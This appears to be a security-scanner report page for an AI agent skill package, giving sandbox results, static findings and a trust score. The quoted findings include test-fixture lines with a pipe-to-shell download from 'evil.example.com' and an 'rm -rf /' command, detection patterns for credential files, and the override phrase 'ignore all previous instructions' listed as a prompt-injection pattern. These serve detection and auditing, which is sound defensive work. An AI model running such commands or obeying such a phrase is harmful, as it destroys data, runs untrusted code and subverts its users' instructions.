Skills/ClawHub/agent-skill-manager

agent-skill-manager@0.1.0

CAUTION· install only

Publisher claims: "Cross-platform skill manager for 11 domestic Chinese AI agent products (AutoClaw, Kimi, MiniMax Code, WorkBuddy, Trae, DuMate, CodeBuddy, Comate, Qoder). Installs as the `askill` CLI — sync your skills to all products with one command. Use when the user wants to manage, install, sync, or remove Agent Skills across multiple AI coding tools and platforms." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry ClawHubPublisher yxdwind · publishing for 59 daysInstalls 316Last detonated 7d ago
What would fix thisWatchDispute verdict

Coverage

Install scripts ran; no agent task scenario for this bundle.
Tested
install scripts, with decoy credentials in place · second launch with the clock 45 days ahead · every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; install scripts ran; no agent task scenario for this bundle) on 2026-11-07 and scored it 76/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Executable committed in an agent bundle; Access to sensitive file paths; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessexited 1: ModuleNotFoundError: No module named 'setuptools'
0.0sprocessscript backend runs setup only
0.0sprocessscript backend runs setup only
0.1sprocesssecond launch, clock +45 days, CI unset
0.1sprocessexec /usr/bin/faketime
0.1sprocessexited 1: ModuleNotFoundError: No module named 'setuptools'

Static findings

HIGH
Executable committed in an agent bundleadd-contributor.bat: Windows executable or launcher inside what should be instructions and scriptsadd-contributor.batFix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathssrc/services/audit.py:127 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files("high", re.compile(r"(\.ssh|\.aws|\.gnupg|id_rsa|id_ed25519|\.netrc|credentials)", re.I),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathssrc/services/audit.py:147 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files("low", re.compile(r"\.env", re.I),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Remote installer piped to shelltests/test_security.py:91 · Remote installer piped to shell(d / "setup.sh").write_text("curl http://evil.example.com/x.sh | sh\n", encoding="utf-8")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedsrc/services/sync.py:696 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellsrc/services/audit.py:94 · Remote installer piped to shell"remote content piped to shell (curl|sh)"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
LOW
Prompt injection attemptREADME.en.md:171 · Prompt injection attempt — 'ignore previous instructions' · informational: not an instruction file · informational: not an instruction file · informational: not an instruction file| Prompt injection | critical | "ignore all previous instructions", safety bypass language |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
MEDIUM
Destructive command against a filesystem root or devicetests/test_security.py:98 · Destructive command against a filesystem root or device(d / "clean.py").write_text("import os\nos.system('rm -rf /')\n", encoding="utf-8")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathssrc/services/audit.py:148 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"references .env (possible secrets file)"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/utils/filesystem.py:75 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Pipe-to-shell patterntests/test_security.py:91 · Pipe-to-shell pattern — downloads and immediately executes remote code(d / "setup.sh").write_text("curl http://evil.example.com/x.sh | sh\n", encoding="utf-8")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python subprocess execution detectedadd-contributor.py:16 · Python subprocess execution detectedresult = subprocess.run(cmd, shell=True, env=env, capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
LOW
Prompt injection attemptREADME.md:171 · Prompt injection attempt — 'ignore previous instructions' · informational: not an instruction file · informational: not an instruction file · informational: not an instruction file| 提示注入 | critical | "ignore all previous instructions"、绕过安全护栏指令 |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
MEDIUM
Destructive file system command detectedtests/test_security.py:98 · Destructive file system command detected(d / "clean.py").write_text("import os\nos.system('rm -rf /')\n", encoding="utf-8")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsrc/services/sync.py:348 · Python subprocess execution detectedsubprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/utils/filesystem.py:25 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05

Cost to the agent

Instructions loaded
≈822 tok
1 file · 39 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

4 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim yxdwind: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Executable committed in an agent bundle≈ +4 on the totalPin versions and sources; vendor anything fetched at install time.
  3. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  4. Remote installer piped to shell≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  5. Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  6. Destructive command against a filesystem root or device≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
Publish a new version to ClawHub, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim yxdwindPropose a patch to the maintainer